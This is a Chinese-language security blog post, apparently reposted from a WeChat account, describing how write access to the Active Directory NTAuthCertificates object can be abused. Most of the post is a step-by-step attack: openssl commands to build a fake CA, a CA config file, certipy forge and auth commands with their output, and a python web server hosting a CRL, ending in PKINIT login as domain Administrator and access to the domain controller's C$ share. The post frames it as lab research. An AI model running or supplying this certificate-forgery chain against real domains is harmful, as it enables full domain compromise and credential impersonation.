在最近的研究中,我发现没有特殊权限的用户能够更改NTAuthCertificates对象。
对位于配置分区中的 Windows Active Directory 中的NTAuthCertificates对象进行写访问可能会产生重大后果,因为它涉及用于身份验证和安全目的的数字证书的管理。
可能的滥用背后的想法是创建一个欺骗性的自签名证书颁发机构 (CA) 证书并将其包含在NTAuthCertificates对象中。因此,任何由该欺骗性证书签署的欺骗性证书都将被视为合法。
在这篇文章中,我将记录代表从假 CA 获得的任意用户伪造和滥用身份验证证书所需的必要步骤和先决条件。
这就是我的实验室中使用adsiedit.exe工具重现的场景
这里用户(在本例中为user11)可以控制该对象,我们首先需要创建一个假的自签名证书颁发机构。使用openssl工具可以轻松完成此操作。
#生成用于签名证书的私钥:
openssl genrsa -out myfakeca.key 2048
#创建并自签名根证书:
openssl req -x509 -new -nodes -key myfakeca.key -sha256 -days 1024 -out myfakeca.crt
我们需要将假 CA 的公钥 (myfakeca.crt)添加到存储在 NTAuthCertificates对象中的cACertificate属性中,该属性定义了一个或多个可以在身份验证过程中使用的 CA。这可以使用默认的certutil工具轻松完成:
让我们检查一下它是否有效:
现在我们已经添加了伪造的 CA 证书,我们还需要创建相应的 pfx 文件,该文件稍后将在漏洞利用工具中使用。
cat myfakeca.key > myfakeca.pem
cat myfakeca.crt >> myfakeca.pem
openssl pkcs12 -in myfakeca.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out myfakeca.pfx
certipy forge -ca-pfx myfakeca.pfx -upn [email protected] -subject 'CN=Administrator,OU=Accounts,OU=T0,OU=Admin,DC=mylab,DC=local'
Certipy v4.4.0 - by Oliver Lyak (ly4k)
[*] Saved forged certificate and private key to 'administrator_forged.pfx'
certipy auth -pfx administrator_forged.pfx -dc-ip 192.168.212.21
Certipy v4.4.0 - by Oliver Lyak (ly4k)
[] Using principal: [email protected] [] Trying to get TGT…
[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERROR_CLIENT_NOT_TRUSTED(Reserved for PKINIT)
但是仍然错误
KDC_ERROR_CLIENT_NOT_TRUSTED
HKLMSOFTWAREMicrosoftEnterpriseCertificatesNTAuthCertificates
再次执行出现了新的问题
KDC_ERROR_CLIENT_NOT_TRUSTED
首先,我们需要创建一个ca.conf 文件。
[ca]
default_ca = MYFAKECA
[crl_ext]
authorityKeyIdentifier=keyid:always
[MYFAKECA]
unique_subject = no
certificate = ./myfakeca.crt
database = ./certindex
private_key = ./myfakeca.key
serial = ./certserial
default_days = 729
default_md = sha1
policy = myca_policy
x509_extensions = myca_extensions
crlnumber = ./crlnumber
default_crl_days = 729
[myca_policy]
commonName = supplied
stateOrProvinceName = supplied
countryName = optional
emailAddress = optional
organizationName = supplied
organizationalUnitName = optional
[myca_extensions]
basicConstraints = CA:false
subjectKeyIdentifier = hash
authorityKeyIdentifier = keyid:always
keyUsage = digitalSignature,keyEncipherment
extendedKeyUsage = serverAuth
crlDistributionPoints = URI:http://xxx.xxx.xxx.xxx/root.crl
运行openssl命令来生成必要的文件:
openssl genrsa -out cert.key 2048
#确保该通用名称与我们的假 CA 不同
openssl req -new -key cert.key -out cert.csr
touch certindex
echo 01 > certserial
echo 01 > crlnumber
openssl ca -batch -config ca .conf -notext -in cert.csr -out cert.crt
openssl pkcs12 -export -out cert.p12 -inkey cert.key -in cert.crt -chain -CAfile myfakeca.crt
openssl ca -config ca.conf -gencrl - keyfile myfakeca.key -cert myfakeca.crt -out rt.crl.pem
openssl crl -inform PEM -in rt.crl.pem -outform DER -out root.crl
最后有了root.crl文件,我们需要的只是设置一个简约的 HTTP 服务器,这里使用python来实现:
python3 -m http.server
certipy forge -ca-pfx myfakeca.pfx -upn [email protected] -subject 'CN=Administrator,OU=Accounts,OU=T0,OU=Admin,DC=mylab,DC=local' -crl 'http://192.168.1.88/root.crl'
Certipy v4.4.0 - by Oliver Lyak (ly4k)
[*] Saved forged certificate and private key to 'administrator_forged.pfx'
certipy auth -pfx administrator_forged.pfx -dc-ip xxx.xxx.xxx.xxx
DC 正在联系我们的 CRL 分发点,我们能够通过 PKINIT 作为域管理员进行身份验证
现在我们可以访问 DC 上的 C$ 共享:
原文始发于微信公众号(山石网科安全技术研究院):从NTAuthCertificates证书伪造到内网穿透